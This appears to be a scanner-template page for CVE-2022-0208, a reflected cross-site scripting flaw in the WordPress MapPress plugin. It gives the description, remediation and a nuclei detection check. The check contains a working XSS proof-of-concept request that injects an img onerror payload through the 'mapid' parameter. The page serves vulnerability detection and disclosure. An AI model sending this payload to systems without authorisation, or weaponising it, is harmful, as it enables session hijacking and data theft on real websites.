CVE-2022-0208· mappresspro / mappress· CWE-79
WordPress Plugin MapPress <2.73.4 - Cross-Site Scripting
WordPress Plugin MapPress before version 2.73.4 does not sanitize and escape the 'mapid' parameter before outputting it back in the "Bad mapid" error message, leading to reflected cross-site scripting.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
Fix
Update to the latest version of MapPress (2.73.4 or higher) or apply the vendor-provided patch to fix the XSS vulnerability.
How to confirm it
Send: GET {{BaseURL}}/?mapp_iframe=1&mapid=--%3E%3Cimg%20src%20onerror=alert(document.domain)%3E
Positive when: contains in header "text/html" AND contains "<img src onerror=alert(document.domain)>" and "Bad mapid" AND status 200Run it with nuclei: nuclei -id CVE-2022-0208 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2022-0208
info:
name: WordPress Plugin MapPress <2.73.4 - Cross-Site Scripting
author: edoardottt
severity: medium
description: |
WordPress Plugin MapPress before version 2.73.4 does not sanitize and escape the 'mapid' parameter before outputting it back in the "Bad mapid" error message, leading to reflected cross-site scripting.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Update to the latest version of MapPress (2.73.4 or higher) or apply the vendor-provided patch to fix the XSS vulnerability.
reference:
- https://wpscan.com/vulnerability/59a2abd0-4aee-47aa-ad3a-865f624fa0fc
- https://nvd.nist.gov/vuln/detail/CVE-2022-0208
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0208
cwe-id: CWE-79
epss-score: 0.02031
epss-percentile: 0.81212
cpe: cpe:2.3:a:mappresspro:mappress:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: mappresspro
product: mappress
framework: wordpress
tags: cve2022,cve,mappress,xss,wordpress,wp-plugin,wpscan,mappresspro,vuln,vkev
http:
- method: GET
path:
- "{{BaseURL}}/?mapp_iframe=1&mapid=--%3E%3Cimg%20src%20onerror=alert(document.domain)%3E"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "text/html"
- type: word
part: body
words:
- "<img src onerror=alert(document.domain)>"
- "Bad mapid"
condition: and
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/59a2abd0-4aee-47aa-ad3a-865f624fa0fc
- https://nvd.nist.gov/vuln/detail/CVE-2022-0208
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from